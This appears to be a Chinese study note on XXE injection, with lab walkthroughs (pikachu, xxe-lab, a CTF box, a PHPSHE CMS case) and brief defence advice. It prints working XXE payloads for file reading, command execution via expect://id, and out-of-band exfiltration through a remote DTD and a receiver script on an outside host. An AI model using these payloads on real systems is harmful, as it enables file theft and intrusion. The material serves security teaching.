9.XXE漏洞
1.XXE简介与危害
XML概念
- 传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,
- 数据内容分离,焦点是数据的内容,是独立于软件和硬件信息传输工具
XML与HTML的区别
- xml,传输数据
- html,显示数据
XXE危害
- XXE 漏洞全称 XMLExternal Entity Injection,即 xml 外部实体注入漏洞,XXE 漏洞发生在应用程序解析 XML 输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害
2.简单示例
-
示例1 文件读取(需要Apache>=5.4版本)
- 打开靶场 www.pikaqiu.com/vul/xxe/xxe…
- 新建 testxxe.txt 放到 C:\Users\Administrator\Desktop\testxxe.txt
test xxe
- 准备 XML 脚本
<?xml version="1.0"?> <!DOCTYPE ANY [ <!ENTITY xxe SYSTEM "file:///C://Users//Administrator//Desktop//test//testxxe.txt"> ]> <foo>&xxe;</foo>- 测试
- 打开靶场 www.pikaqiu.com/vul/xxe/xxe…
-
示例2 内外探测(鸡肋)
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "http://pbootcms.test.com/1.txt">
]>
<x>&xxe;</x>
- 示例3 执行命令 expect:// www.php.net/manual/zh/w…
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "expect://id">
]>
<x>&xxe;</x>
-
示例4 无回显
- 修改\pikachu\vul\xxe\xxe_1.php 去掉示例1的回显
- 添加用于接收的php文件,放到待攻击服务器
$data = $_GET['file']; $myfile = fopen("file.txt","w+"); fwrite($myfile,$data); fclose($myfile);- 新建vil.dtd文件,放到待攻击服务器
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=C://Users//Administrator//Desktop//test/testxxe.txt"> <!ENTITY % all "<!ENTITY % send SYSTEM 'http://pbootcms.test.com/get.php?file=%file;'>"> %all; %send;- 攻击语句,放到XXE漏洞点执行
<?xml version = "1.0"?> <!DOCTYPE ANY[<!ENTITY % dtd SYSTEM "http://pbootcms.test.com/vil.dtd">%dtd;]> - 修改\pikachu\vul\xxe\xxe_1.php 去掉示例1的回显
-
示例 xxe-lab
- 搭建xxe-lab靶场
- 发现xxe漏洞
- 准备xxe脚本
<!DOCTYPE ANY [ <!ENTITY file SYSTEM "file:///C://Users//Administrator//Desktop//test/testxxe.txt">]> <user> <username>&file;</username> <password>12313</password> </user>- 测试xxe
- 获取doLogin.php的xxe脚本
<!DOCTYPE ANY [ <!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=doLogin.php">]> <user> <username>&file;</username> <password>12313</password> </user>- 测试并 base64 解析,然后查看doLogin脚本得到账号和密码
- 搭建xxe-lab靶场
3. 综合示例
- 搭建靶场 XXE,并确保是一个网段
- 使用kali扫描同网段1-255ip
- 通过排除法获得xxe ip为 192.168.239.138
- 使用7kbscan扫描目录,并访问尝试获取有用信息
- 访问 /xxe 和 admin.php 得到页面
- 抓包发现xxe漏洞
- 通过xxe漏洞读取 xxe.php和admin.php,并分析代码得到账号和密码
- 通过在线md5解密得到密码 www.cmd5.com/
- 输入得到的密码,得到新的路径
- 读取 flagmeout.php 内容,获取flag JQZFMMCZPE4HKWTNPBUFU6JVO5QUQQJ5
- 通过经验进行解密得到 /etc/.flag.php www.bejson.com/encrypt/bas…
- 获取/etc/.flag.php 内容
- 使用在线工具执行代码 code.y444.cn/ 或者本地php执行
4.CMS漏洞分析
- 搭建靶场
- 审计代码 simplexml_load_string、asXML、simplexml_load_file、simplexml_import_dom
- 找到xxe漏洞处
- 拦截任意包改成如下包
GET /include/plugin/payment/wechat/notify_url.php HTTP/1.1
Host: phpshe.test.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer:
http://phpshe.test.com/phpshe/user.php?mod=do&act=login&fromto=http%3A%2F%2Fphpshe.test.com%2Fphpshe%2F
Content-Length: 121
Cookie: safedog-flow-item=; PHPSESSID=3199gn7cbq9eudsopceplupga6
DNT: 1
Connection: close
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % dtd SYSTEM "http://pbootcms.test.com/vil.dtd">
%dtd;]>
<root>c</root>
- 使用上面示例中的 vil.dtd 测试漏洞
5.XXE漏洞防御
XML解析器安全设置
- 使用
libxml_disable_entity_loader禁止外部实体 libxml_disable_entity_loader(true); - 参数过滤